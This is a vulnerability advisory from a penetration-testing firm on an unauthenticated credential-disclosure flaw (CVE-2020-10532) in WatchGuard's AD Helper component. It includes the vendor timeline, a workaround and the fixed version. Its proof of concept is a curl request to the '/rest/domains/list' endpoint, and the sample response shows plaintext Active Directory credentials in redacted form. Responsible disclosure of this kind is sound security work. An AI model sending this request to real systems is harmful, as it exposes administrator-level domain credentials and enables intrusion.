RedTeam Pentesting GmbH

Credential Disclosure in WatchGuard Fireware AD Helper Component

RedTeam Pentesting discovered a credential-disclosure vulnerability in the AD Helper component of the WatchGuard Fireware Threat Detection and Response (TDR) service, which allows unauthenticated attackers to gain Active Directory credentials for a Windows domain in plaintext.

Details

Product: WatchGuard Fireware AD Helper Component
Affected Versions: 5.8.5.10233, < 5.8.5.10317
Fixed Versions: 5.8.5.10317
Vulnerability Type: Information Disclosure
Security Risk: high
Vendor URL: https://www.watchguard.com/help/docs/fireware/12/en-us/Content/en-US/services/tdr/tdr_ad_helper_c.html
Vendor Status: fixed version released
Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2020-001
Advisory Status: published
CVE: CVE-2020-10532
CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-10532

Introduction

“Threat Detection and Response (TDR) is a cloud-based subscription service that integrates with your Firebox to minimize the consequences of data breaches and penetrations through early detection and automated remediation of security threats.”

“Threat Detection and Response includes the AD Helper component. If your network has an Active Directory server, you can install AD Helper to manage automated installation and updates of Host Sensors on your network.”

(from the vendor’s homepage)

More Details

By accessing the AD Helper’s web interface, it was discovered that a call to an API endpoint is made, which responds with plaintext credentials to all configured domain controllers. There is no authentication needed to use the described interface and the installation instructions at (https://www.watchguard.com/help/docs/fireware/12/en-us/Content/en-US/services/tdr/tdr_ad_helper_c.html) contain no indication of any way to configure access control.

Proof of Concept

An HTTP GET request to the path “/domains/list” of the AD Helper API returns, among others, the plaintext credentials to all configured Windows domain controllers:

$ curl --silent "http://adhelper.example.com:8080/rest/domains/list?sortCol=fullyQualifiedName&sortDir=asc" | jq .

{
  "content": [
    {
      "id": 1,
      "fullyQualifiedName": "example.com",
      "logonDomain": "example.com",
      "domainControllers": "dc1.example.com",
      "username": "[DOMAIN_USER]",
      "password": "[DOMAIN_PASSWORD]",
      "uuid": "[...]",
      "servers": [
        {
          [...]
        }
      ]
    }
  ],
  "totalPages": 1,
  "totalElements": 1,
  "number": 0,
  "numberOfElements": 1
}

The same request and its response can be observed when initially accessing the web interface. The discovered version of AD Helper responds with the following server banner:

jetty(winstone-5.8.5.10233-9.4.12.v20180830)

It is likely that other versions of the AD Helper Component are vulnerable as well.

Workaround

Ensure API of the AD Helper Component is not reachable over the network, for example by putting it behind a Firewall.

Fix

Update to Version 5.8.5.10317 or later.

Security Risk

No authentication is needed to access AD Helper’s web interface and the installation instructions at (https://www.watchguard.com/help/docs/fireware/12/en-us/Content/en-US/services/tdr/tdr_ad_helper_c.html) describe that configured domain user accounts must possess at least the following privileges:

Connect to the host
Mount the share ADMIN$
Create a file on the host
Execute commands on the host
Install software on the host

Access to the “ADMIN$” share implies a user with administrative privileges. Therefore, this vulnerability poses a high risk.

Timeline

2020-02-12 Vulnerability identified
2020-02-19 Customer approved disclosure to vendor
2020-02-24 Tried to contact the German branch of WatchGuard
2020-02-27 Contacted the Dutch branch of WatchGuard
2020-02-28 Contact to ADHelper QA Team Lead established
2020-03-02 Advisory draft sent for verification
2020-03-10 Vendor released fixed version and blog post
2020-03-11 CVE ID requested
2020-03-11 Advisory released
2020-03-13 CVE ID assigned

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